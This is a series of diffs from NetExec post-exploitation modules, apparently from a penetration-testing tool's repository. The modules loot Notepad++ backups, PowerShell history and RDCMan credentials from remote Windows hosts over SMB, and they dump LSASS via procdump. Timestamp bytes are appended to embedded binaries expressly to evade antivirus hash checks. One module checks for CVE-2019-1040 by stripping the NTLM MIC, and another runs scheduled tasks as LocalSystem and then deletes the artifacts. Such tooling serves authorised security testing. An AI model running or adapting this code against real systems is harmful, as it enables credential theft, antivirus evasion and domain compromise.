supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
def options(self, context, module_options):
""""""
def on_admin_login(self, context, connection):
found = 0
for directory in connection.conn.listPath("C$", "Users\\*"):
if directory.get_longname() not in self.false_positive and directory.is_directory():
try:
notepad_backup_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\"
for file in connection.conn.listPath("C$", f"{notepad_backup_dir}\\*"):
file_path = f"{notepad_backup_dir}{file.get_longname()}"
if file.get_longname() not in self.false_positive:
found += 1
file_path = f"{notepad_backup_dir}{file.get_longname()}"
buf = BytesIO()
connection.conn.getFile("C$", file_path, buf.write)
buf.seek(0)
file_content = buf.read().decode("utf-8", errors="ignore").lower()
context.log.highlight(f"C:\\{file_path}")
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
export_path = join(NXC_PATH, "modules", "notepad++")
path = abspath(join(export_path, filename))
makedirs(export_path, exist_ok=True)
try:
with open(path, "w+") as file:
file.write(file_content)
context.log.highlight(f"Notepad++ backup written to: {path}")
except Exception as e:
context.log.fail(f"Failed to write Notepad++ backup to {filename}: {e}")
except Exception:
pass
+1 -1
View File
@@ -40,7 +40,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
except Exception:
context.log.error("LDAP search error:", exc_info=True)
return False
+5 -1
View File
@@ -1,7 +1,7 @@
from base64 import b64decode
from sys import exit
from os.path import abspath, join, isfile
from datetime import datetime
from nxc.paths import DATA_PATH, TMP_PATH
@@ -25,9 +25,13 @@ class NXCModule:
self.pi = "pi.exe"
self.useembeded = True
self.pid = self.cmd = ""
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
self.pi_embedded = b64decode(pi_file.read())
# Add some random binary data to defeat AVs which check the file hash
self.pi_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "EXEC" in module_options:
self.cmd = module_options["EXEC"]
+43 -56
View File
@@ -1,73 +1,60 @@
import traceback
from os import makedirs
from os.path import join, abspath
from nxc.paths import NXC_PATH
from io import BytesIO
class NXCModule:
"""Module by @357384n"""
# Module by @357384n
# Modified by @Defte_ 12/10/2024 to remove unecessary powershell execute command
name = "powershell_history"
description = "Extracts PowerShell history for all users and looks for sensitive commands."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
sensitive_keywords = [
"password", "passw", "secret", "credential", "key",
"get-credential", "convertto-securestring", "set-localuser",
"new-localuser", "set-adaccountpassword", "new-object system.net.webclient",
"invoke-webrequest", "invoke-restmethod"
]
def options(self, context, module_options):
"""To export all the history you can add the following option: -o export=True"""
context.log.info(f"Received module options: {module_options}")
def options(self, _, module_options):
self.export = bool(module_options.get("EXPORT", False))
context.log.info(f"Option export set to: {self.export}")
def analyze_history(self, history):
"""Analyze PowerShell history for sensitive information."""
sensitive_keywords = [
"password", "passwd", "passw", "secret", "credential", "key",
"get-credential", "convertto-securestring", "set-localuser",
"new-localuser", "set-adaccountpassword", "new-object system.net.webclient",
"invoke-webrequest", "invoke-restmethod"
]
sensitive_commands = []
for command in history:
command_lower = command.lower()
if any(keyword.lower() in command_lower for keyword in sensitive_keywords):
sensitive_commands.append(command.strip())
return sensitive_commands
def on_admin_login(self, context, connection):
"""Main function to retrieve and analyze PowerShell history."""
try:
context.log.info("Retrieving PowerShell history...")
command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"'
history = connection.execute(command, True).split("\n")
if history:
sensitive_commands = self.analyze_history(history)
if sensitive_commands:
context.log.highlight("Sensitive commands found in PowerShell history:")
for command in sensitive_commands:
context.log.highlight(f" {command}")
else:
context.log.info("No sensitive commands found in PowerShell history.")
else:
context.log.info("No PowerShell history found.")
# Check if export is enabled
context.log.info(f"Export option is set to: {self.export}")
if self.export and history:
host = connection.host # Assuming 'host' contains the target IP or hostname
filename = f"{host}_powershell_history.txt"
export_path = join(NXC_PATH, "modules", "powershell_history")
path = abspath(join(export_path, filename))
makedirs(export_path, exist_ok=True)
context.log.info(f"Export enabled, writing history to {path}")
for directory in connection.conn.listPath("C$", "Users\\*"):
if directory.get_longname() not in self.false_positive and directory.is_directory():
try:
with open(path, "w") as file:
for cmd in history:
file.write(cmd + "\n")
context.log.highlight(f"PowerShell history written to: {path}")
except Exception as e:
context.log.fail(f"Failed to write history to {filename}: {e}")
except Exception as e:
context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc())
powershell_history_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\"
for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"):
if file.get_longname() not in self.false_positive:
file_path = f"{powershell_history_dir}{file.get_longname()}"
buf = BytesIO()
connection.conn.getFile("C$", file_path, buf.write)
buf.seek(0)
file_content = buf.read().decode("utf-8", errors="ignore")
keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword.lower() in file_content.lower()]
if len(keywords):
context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]")
else:
context.log.highlight(f"C:\\{file_path}")
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
if self.export:
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
export_path = join(NXC_PATH, "modules", "powershell_history")
path = abspath(join(export_path, filename))
makedirs(export_path, exist_ok=True)
try:
with open(path, "w+") as file:
file.write(file_content)
context.log.highlight(f"PowerShell history written to: {path}")
except Exception as e:
context.log.fail(f"Failed to write history to {filename}: {e}")
except Exception:
pass
+1 -1
View File
@@ -24,7 +24,7 @@ class NXCModule:
def on_login(self, context, connection):
try:
ldap_connection = connection.ldapConnection
ldap_connection = connection.ldap_connection
# Define the search filter for pre-created computer accounts
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
+10 -4
View File
@@ -1,6 +1,6 @@
import sys
from impacket import system_errors
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes
from impacket.structure import Structure
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
@@ -39,7 +39,8 @@ class NXCModule:
def on_login(self, context, connection):
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % connection.host
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % target
context.log.info(f"Binding to {stringbinding!r}")
@@ -55,7 +56,7 @@ class NXCModule:
)
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
rpctransport.setRemoteHost(connection.host)
rpctransport.setRemoteHost(target)
rpctransport.set_dport(self.port)
try:
@@ -101,7 +102,12 @@ class NXCModule:
if e.error_code == system_errors.ERROR_INVALID_PARAMETER:
context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare")
return True
raise e
context.log.fail(f"Unexpected error: {e}")
except DCERPCException as e:
if rpc_status_codes[e.error_code] == "rpc_s_access_denied":
context.log.info("Not vulnerable :'(")
return False
context.log.fail(f"Unexpected error: {e}")
context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare")
return True
+16 -8
View File
@@ -4,11 +4,11 @@
import base64
import re
import sys
import pypykatz
from nxc.helpers.bloodhound import add_user_bh
from nxc.paths import TMP_PATH
from os.path import abspath, join
from datetime import datetime
class NXCModule:
@@ -35,6 +35,8 @@ class NXCModule:
self.procdump_path = abspath(TMP_PATH)
self.dir_result = self.procdump_path
self.useembeded = True
# Add some random binary data to defeat AVs which check the file hash
self.procdump_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "PROCDUMP_PATH" in module_options:
self.procdump_path = module_options["PROCDUMP_PATH"]
@@ -79,7 +81,10 @@ class NXCModule:
else:
context.log.fail("Process lsass.exe error un dump, try with verbose")
if dump:
if not dump:
self.delete_procdump_binary(connection, context)
return
else:
regex = r"([A-Za-z0-9-]*.dmp)"
matches = re.search(regex, str(p), re.MULTILINE)
machine_name = ""
@@ -87,7 +92,7 @@ class NXCModule:
machine_name = matches.group()
else:
context.log.display("Error getting the lsass.dmp file name")
sys.exit(1)
return
context.log.display(f"Copy {machine_name} to host")
@@ -98,11 +103,7 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Error while get file: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
context.log.success(f"Deleted procdump file on the {self.share} share")
except Exception as e:
context.log.fail(f"Error deleting procdump file on share {self.share}: {e}")
self.delete_procdump_binary(connection, context)
try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
@@ -152,3 +153,10 @@ class NXCModule:
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
context.log.fail("Error openning dump file", str(e))
def delete_procdump_binary(self, connection, context):
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
context.log.success(f"Deleted procdump file on the {self.share} share")
except Exception as e:
context.log.fail(f"Error deleting procdump file on share {self.share}: {e}")
+1 -1
View File
@@ -24,7 +24,7 @@ class NXCModule:
def on_login(self, context, connection):
# Are there even any FGPPs?
context.log.success("Attempting to enumerate policies...")
resp = connection.ldapConnection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)")
resp = connection.ldap_connection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)")
if len(resp) > 1:
context.log.highlight(f"{len(resp) - 1} PSO Objects found!")
context.log.highlight("")
+21 -88
View File
@@ -1,10 +1,8 @@
from dploot.triage.rdg import RDGTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.rdg import RDGTriage, RDGServerProfile
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from nxc.helpers.logger import highlight
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
@@ -15,99 +13,34 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""
PVK Domain backup key file
MKFILE File with masterkeys in form of {GUID}:SHA1
"""
self.pvkbytes = None
self.masterkeys = None
if "PVK" in module_options:
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
if "MKFILE" in module_options:
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
""" """
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
if self.pvkbytes is None:
try:
dc = Target.create(
domain=domain,
username=username,
password=password,
target=domain,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=use_kcache,
)
dc_conn = DPLootSMBConnection(dc)
dc_conn.connect()
if dc_conn.is_admin:
context.log.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
except Exception as e:
context.log.debug(f"Could not get domain backupkey: {e}")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=domain,
domain=connection.domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=use_kcache,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = None
try:
conn = DPLootSMBConnection(target)
conn.smb_session = connection.conn
except Exception as e:
context.log.debug(f"Could not upgrade connection: {e}")
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
if password != "":
plaintexts[username] = password
if nthash != "":
nthashes[username] = nthash
if self.masterkeys is None:
try:
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
@@ -122,17 +55,17 @@ class NXCModule:
if rdcman_file is None:
continue
for rdg_cred in rdcman_file.rdg_creds:
if rdg_cred.type in ["cred", "logon", "server"]:
log_text = "{} - {}:{}".format(rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode("latin-1")) if rdg_cred.type == "server" else "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
for rdgfile in rdgfiles:
if rdgfile is None:
continue
for rdg_cred in rdgfile.rdg_creds:
log_text = "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
if rdg_cred.type == "server":
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
context.log.highlight(f"[{rdgfile.winuser}][{rdg_cred.profile_name}] {log_text}")
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
except Exception as e:
context.log.debug(f"Could not loot RDCMan secrets: {e}")
+192
View File
@@ -0,0 +1,192 @@
# Original Author:
# Dirk-jan Mollema (@_dirkjan)
# dlive (@D1iv3)
#
# Refernece:
# - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
# - https://github.com/fox-it/cve-2019-1040-scanner
# - https://github.com/Dliv3/cve-2019-1040-scanner
#
# Modify by:
# XiaoliChan (@Memory_before)
import calendar
import struct
import time
import random
import string
from impacket import ntlm
from impacket import nt_errors
from impacket.smbconnection import SessionError
class NXCModule:
name = "remove-mic"
description = "Check if host vulnerable to CVE-2019-1040"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.action = None
def options(self, context, module_options):
"""PORT Port to check (defaults to 445)"""
self.port = 445
if "PORT" in module_options:
self.port = int(module_options["PORT"])
def on_login(self, context, connection):
ntlm.computeResponseNTLMv2 = Modify_Func.mod_computeResponseNTLMv2
ntlm.getNTLMSSPType3 = Modify_Func.mod_getNTLMSSPType3
try:
connection.conn.reconnect()
except SessionError as e:
if e.getErrorCode() == nt_errors.STATUS_INVALID_PARAMETER:
context.log.info("Target is not vulnerable to CVE-2019-1040 (authentication was rejected)")
else:
context.log.info("Unexpected Exception while authentication")
else:
context.log.highlight("Potentially vulnerable to CVE-2019-1040, next step: https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/")
class Modify_Func:
# Slightly modified version of impackets computeResponseNTLMv2
def mod_computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash="", nthash="",
use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""):
responseServerVersion = b"\x01"
hiResponseServerVersion = b"\x01"
responseKeyNT = ntlm.NTOWFv2(user, password, domain, nthash)
av_pairs = ntlm.AV_PAIRS(serverName)
# In order to support SPN target name validation, we have to add this to the serverName av_pairs. Otherwise we will
# get access denied
# This is set at Local Security Policy -> Local Policies -> Security Options -> Server SPN target name validation
# level
av_pairs[ntlm.NTLMSSP_AV_TARGET_NAME] = "cifs/".encode("utf-16le") + av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1]
if av_pairs[ntlm.NTLMSSP_AV_TIME] is not None:
aTime = av_pairs[ntlm.NTLMSSP_AV_TIME][1]
else:
aTime = struct.pack("<q", (116444736000000000 + calendar.timegm(time.gmtime()) * 10000000))
av_pairs[ntlm.NTLMSSP_AV_TIME] = aTime
av_pairs[ntlm.NTLMSSP_AV_FLAGS] = b"\x02" + b"\x00" * 3
serverName = av_pairs.getData()
if len(channel_binding_value) > 0:
av_pairs[ntlm.NTLMSSP_AV_CHANNEL_BINDINGS] = channel_binding_value
# Format according to:
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/aee311d6-21a7-4470-92a5-c4ecb022a87b
temp = responseServerVersion # RespType 1 byte
temp += hiResponseServerVersion # HiRespType 1 byte
temp += b"\x00" * 2 # Reserved1 2 bytes
temp += b"\x00" * 4 # Reserved2 4 bytes
temp += aTime # TimeStamp 8 bytes
temp += clientChallenge # ChallengeFromClient 8 bytes
temp += b"\x00" * 4 # Reserved 4 bytes
temp += av_pairs.getData() # AvPairs variable
ntProofStr = ntlm.hmac_md5(responseKeyNT, serverChallenge + temp)
ntChallengeResponse = ntProofStr + temp
lmChallengeResponse = ntlm.hmac_md5(responseKeyNT, serverChallenge + clientChallenge) + clientChallenge
sessionBaseKey = ntlm.hmac_md5(responseKeyNT, ntProofStr)
if user == "" and password == "":
# Special case for anonymous authentication
ntChallengeResponse = ""
lmChallengeResponse = ""
return ntChallengeResponse, lmChallengeResponse, sessionBaseKey
def mod_getNTLMSSPType3(type1, type2, user, password, domain, lmhash="", nthash="", use_ntlmv2=ntlm.USE_NTLMv2, channel_binding_value=b""):
# Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best.
if password is None:
password = ""
# Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with
# international characters.
import sys
encoding = sys.getfilesystemencoding()
if encoding is not None:
try:
user.encode("utf-16le")
except Exception:
user = user.decode(encoding)
try:
password.encode("utf-16le")
except Exception:
password = password.decode(encoding)
try:
domain.encode("utf-16le")
except Exception:
domain = user.decode(encoding)
ntlmChallenge = ntlm.NTLMAuthChallenge(type2)
# Let's start with the original flags sent in the type1 message
responseFlags = type1["flags"]
# Token received and parsed. Depending on the authentication
# method we will create a valid ChallengeResponse
ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(user, password, ntlmChallenge["challenge"])
clientChallenge = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(8)]))
serverName = ntlmChallenge["TargetInfoFields"]
ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponse(ntlmChallenge["flags"], ntlmChallenge["challenge"],
clientChallenge, serverName, domain, user, password,
lmhash, nthash, use_ntlmv2, channel_binding_value=channel_binding_value)
# Let's check the return flags
if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0:
# No extended session security, taking it out
responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_128) == 0:
# No support for 128 key len, taking it out
responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_128
if (ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0:
# No key exchange supported, taking it out
responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH
# drop the mic need to unset these flags
# https://github.com/fortra/impacket/blob/master/impacket/examples/ntlmrelayx/clients/ldaprelayclient.py#L72
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SEAL == ntlm.NTLMSSP_NEGOTIATE_SEAL:
responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SEAL
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_SIGN == ntlm.NTLMSSP_NEGOTIATE_SIGN:
responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SIGN
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN == ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN
keyExchangeKey = ntlm.KXKEY(ntlmChallenge["flags"], sessionBaseKey, lmResponse, ntlmChallenge["challenge"], password,
lmhash, nthash, use_ntlmv2)
# Special case for anonymous login
if user == "" and password == "" and lmhash == "" and nthash == "":
keyExchangeKey = b"\x00" * 16
if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:
exportedSessionKey = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(16)]))
encryptedRandomSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey)
else:
encryptedRandomSessionKey = None
exportedSessionKey = keyExchangeKey
ntlmChallengeResponse["flags"] = responseFlags
ntlmChallengeResponse["domain_name"] = domain.encode("utf-16le")
ntlmChallengeResponse["host_name"] = type1.getWorkstation().encode("utf-16le")
if lmResponse == "":
ntlmChallengeResponse["lanman"] = b"\x00"
else:
ntlmChallengeResponse["lanman"] = lmResponse
ntlmChallengeResponse["ntlm"] = ntResponse
if encryptedRandomSessionKey is not None:
ntlmChallengeResponse["session_key"] = encryptedRandomSessionKey
return ntlmChallengeResponse, exportedSessionKey
+37 -7
View File
@@ -1,5 +1,10 @@
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5.rrp import DCERPCSessionError
class NXCModule:
# Reworked by @Defte_ 13/10/2024 to remove unecessary execute operation
name = "runasppl"
description = "Check if the registry value RunAsPPL is set or not"
supported_protocols = ["smb"]
@@ -14,10 +19,35 @@ class NXCModule:
""""""
def on_admin_login(self, context, connection):
command = r"reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
context.log.debug(f"Executing command: {command}")
p = connection.execute(command, True)
if "The system was unable to find the specified registry key or value" in p:
context.log.debug("Unable to find RunAsPPL Registry Key")
else:
context.log.highlight(p)
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SYSTEM\\CurrentControlSet\\Control\\Lsa"
)
key_handle = ans["phkResult"]
_ = data = None
try:
_, data = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
"RunAsPPL\x00",
)
except rrp.DCERPCSessionError as e:
context.log.debug(f"RunAsPPL error {e} on host {connection.host}")
if data is None or data not in [1, 2]:
context.log.highlight("RunAsPPL disabled")
else:
context.log.highlight("RunAsPPL enabled")
except DCERPCSessionError as e:
context.log.debug(f"Error connecting to RemoteRegistry {e} on host {connection.host}")
finally:
remote_ops.finish()
+8 -8
View File
@@ -49,7 +49,7 @@ class NXCModule:
"""On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
self.context = context
self.connection = connection
self.base_dn = connection.ldapConnection._baseDN if not self.base_dn else self.base_dn
self.base_dn = connection.ldap_connection._baseDN if not self.base_dn else self.base_dn
self.sc = ldap.SimplePagedResultsControl()
# Basic SCCM enumeration
@@ -58,7 +58,7 @@ class NXCModule:
search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})"
controls = security_descriptor_control(sdflags=0x04)
context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'")
result = connection.ldapConnection.search(
result = connection.ldap_connection.search(
searchFilter=search_filter,
attributes=["nTSecurityDescriptor"],
sizeLimit=0,
@@ -129,7 +129,7 @@ class NXCModule:
try:
yoinkers = "(|(samaccountname=*sccm*)(samaccountname=*mecm*)(description=*sccm*)(description=*mecm*)(name=*sccm*)(name=*mecm*))"
context.log.display("Searching for SCCM related objects")
result = connection.ldapConnection.search(
result = connection.ldap_connection.search(
searchFilter=yoinkers,
searchBase=self.base_dn,
attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
@@ -157,7 +157,7 @@ class NXCModule:
try:
self.context.log.debug(f"Resolving group members recursively for {dn}")
# Somehow BaseDN is not working together with the LDAP_MATCHING_RULE_IN_CHAIN
result = self.connection.ldapConnection.search(
result = self.connection.ldap_connection.search(
searchFilter=f"(memberOf:{LDAP_MATCHING_RULE_IN_CHAIN}:={dn})",
attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"],
)
@@ -176,7 +176,7 @@ class NXCModule:
def get_management_points(self):
"""Searches for all SCCM management points in the Active Directory and maps them to their SCCM site via the site code."""
try:
response = self.connection.ldapConnection.search(
response = self.connection.ldap_connection.search(
searchBase=self.base_dn,
searchFilter="(objectClass=mSSMSManagementPoint)",
attributes=["cn", "dNSHostName", "mSSMSDefaultMP", "mSSMSSiteCode"],
@@ -199,7 +199,7 @@ class NXCModule:
def get_sites(self):
"""Searches for all SCCM sites in the Active Directory, sorted by site code."""
try:
response = self.connection.ldapConnection.search(
response = self.connection.ldap_connection.search(
searchBase=self.base_dn,
searchFilter="(objectClass=mSSMSSite)",
attributes=["cn", "mSSMSSiteCode", "mSSMSAssignmentSiteCode"],
@@ -244,7 +244,7 @@ class NXCModule:
"""Tries to resolve a SID and add the dNSHostName to the sccm site list."""
try:
self.context.log.debug(f"Resolving SID: {sid}")
result = self.connection.ldapConnection.search(
result = self.connection.ldap_connection.search(
searchBase=self.base_dn,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName", "sAMAccountType", "member", "dNSHostName"],
@@ -277,7 +277,7 @@ class NXCModule:
def dn_to_sid(self, dn) -> str:
"""Tries to resolve a DN to a SID."""
result = self.connection.ldapConnection.search(
result = self.connection.ldap_connection.search(
searchBase=self.base_dn,
searchFilter=f"(distinguishedName={dn})",
attributes=["sAMAccountName", "objectSid"],
+51 -33
View File
@@ -1,6 +1,7 @@
import contextlib
import os
from time import sleep
from datetime import datetime
from datetime import datetime, timedelta
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import tsch, transport
from nxc.helpers.misc import gen_random_string
@@ -91,6 +92,10 @@ class NXCModule:
except Exception as e:
if "SCHED_S_TASK_HAS_NOT_RUN" in str(e):
self.logger.fail("Task was not run, seems like the specified user has no active session on the target")
with contextlib.suppress(Exception):
exec_method.deleteartifact()
else:
self.logger.fail(f"Failed to execute command: {e}")
class TSCH_EXEC:
@@ -143,6 +148,18 @@ class TSCH_EXEC:
)
self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
def deleteartifact(self):
dce = self.__rpctransport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.set_credentials(*self.__rpctransport.get_credentials())
dce.connect()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
self.logger.display(f"Deleting task \\{self.task}")
tsch.hSchRpcDelete(dce, f"\\{self.task}")
dce.disconnect()
def execute(self, command, output=False):
self.__retOutput = output
self.execute_handler(command)
@@ -151,24 +168,20 @@ class TSCH_EXEC:
def output_callback(self, data):
self.__outputBuffer = data
def get_current_date(self):
# Get current date and time
now = datetime.now()
def get_end_boundary(self):
# Get current date and time + 5 minutes
end_boundary = datetime.now() + timedelta(minutes=5)
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
return now.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
def gen_xml(self, command, fileless=False):
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<CalendarTrigger>
<StartBoundary>{self.get_current_date()}</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
<RegistrationTrigger>
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
</RegistrationTrigger>
</Triggers>
<Principals>
<Principal id="LocalSystem">
@@ -224,53 +237,58 @@ class TSCH_EXEC:
def execute_handler(self, command, fileless=False):
dce = self.__rpctransport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
